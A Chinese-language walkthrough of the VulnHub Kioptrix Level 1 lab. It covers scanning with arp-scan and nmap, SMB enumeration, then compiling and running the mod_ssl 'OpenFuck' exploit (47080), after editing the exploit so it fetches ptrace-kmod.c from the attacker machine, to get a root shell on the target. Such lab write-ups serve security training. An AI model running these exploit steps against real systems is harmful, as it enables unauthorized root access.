Kioptrix: Level 1
实验环境
攻击机(kali):192.168.10.11
靶机下载地址:https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
kali 与靶机为同种网络模式(此处均为桥接模式)
信息搜集
主机探测
使用 arp-scan 进行主机探测:sudo arp-scan -l
探测结果得出靶机 IP 为192.168.10.10
端口扫描
使用 nmap 进行端口扫描:nmap -T4 -sV -A 192.168.10.10
└─$ nmap -T4 -sV -A 192.168.10.10
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-05 17:15 CST
Nmap scan report for 192.168.10.10
Host is up (0.0024s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey:
| 1024 b8746cdbfd8be666e92a2bdf5e6f6486 (RSA1)
| 1024 8f8e5b81ed21abc180e157a33c85c471 (DSA)
|_ 1024 ed4ea94a0614ff1514ceda3a80dbe281 (RSA)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
| http-methods:
|_ Potentially risky methods: TRACE
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 32768/tcp status
|_ 100024 1 32768/udp status
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-09-26T09:32:06
|_Not valid after: 2010-09-26T09:32:06
|_ssl-date: 2023-02-05T10:17:13+00:00; +1h01m51s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_RC4_64_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
|_ SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_http-title: 400 Bad Request
32768/tcp open status 1 (RPC #100024)
Host script results:
|_clock-skew: 1h01m50s
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.28 seconds
目录扫描
使用 dirsearch 进行目录扫描:dirsearch -u http://192.168.10.10/ -x 400-599 -t 50
web 页面无有效信息。
漏洞挖掘
接下来根据 nmap 的扫描结果对各个端口的服务进行漏洞挖掘。
22端口-ssh
针对探测到的 ssh 版本号OpenSSH 2.9p2
,使用 searchsploit 查询是否存在可利用漏洞:
发现只有一个用户名枚举,无其他高危漏洞。
139端口-smb
针对 smb 服务可使用 enum4linux 工具进行信息枚举:enum4linux 192.168.10.10
通过此工具发现存在 空账号 即 匿名账号,无需用户名密码即可登录 smb 服务,使用rpcclient
进行登录:
rpcclient 192.168.10.10 -U ''
登录后测试一些命令发现无权限,不再深入。
80端口-apache httpd
针对 80 端口的 Apache httpd 服务,探测到了 mod_ssl 版本信息:mod_ssl/2.8.4
使用 searchsploit 查询相关漏洞:searchsploit mod_ssl 2.8.4
发现存在远程缓冲区溢出漏洞,这里使用编号 47080 的 exp,定位路径并将其复制到桌面:
searchsploit -p 47080
mod_ssl缓冲区溢出漏洞利用
将47080.c
复制到桌面后,查看此 exp 代码:
文件开头给出的一些信息需要注意:
- 需要 libssl-dev 依赖,可通过
sudo apt-get install libssl-dev
来安装; - 编译命令:
gcc -o OpenFuck OpenFuck.c -lcrypto
; - 如果有需要请跟踪主机地址并修改 wget 目标。
注释最后一条修改 wget 目标是指程序会从远程服务器下载一个ptrace-kmod.c
的文件用于 exp 编译,靶机可能不出网,所以需要提前将ptrace-kmod.c
下载到攻击机上,后续通过 python 在攻击机建立 web 服务后靶机即可从攻击机下载而非公网。
找到对应代码位置:
将https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
修改为http://192.168.10.11/ptrace-kmod.c
,这里192.168.10.11
即攻击机 IP:
接下来编译 exp:gcc -o OpenFuck 47080.c -lcrypto
编译出现大量警告信息可忽略,不影响编译后的可执行程序的使用,编译完成在同目录下可发现已生成名为OpenFuck
的可执行程序,运行可查看使用帮助:
帮助信息中有一个支持列表,前面的四位编号就代表不同版本,对比 nmap 扫描结果得到 apache 版本信息为 1.3.20 且操作系统为 RedHat,对比 exp 帮助信息得知我们可用的参数为0x6a
和0x6b
:
接下来先在ptrace-kmod.c
所在文件夹运行起 web 服务,因为 exp 执行时需要调用此文件:
然后运行 exp,命令为:./OpenFuck 0x6b 192.168.10.10 -c 50
成功 getshell 且权限为 root。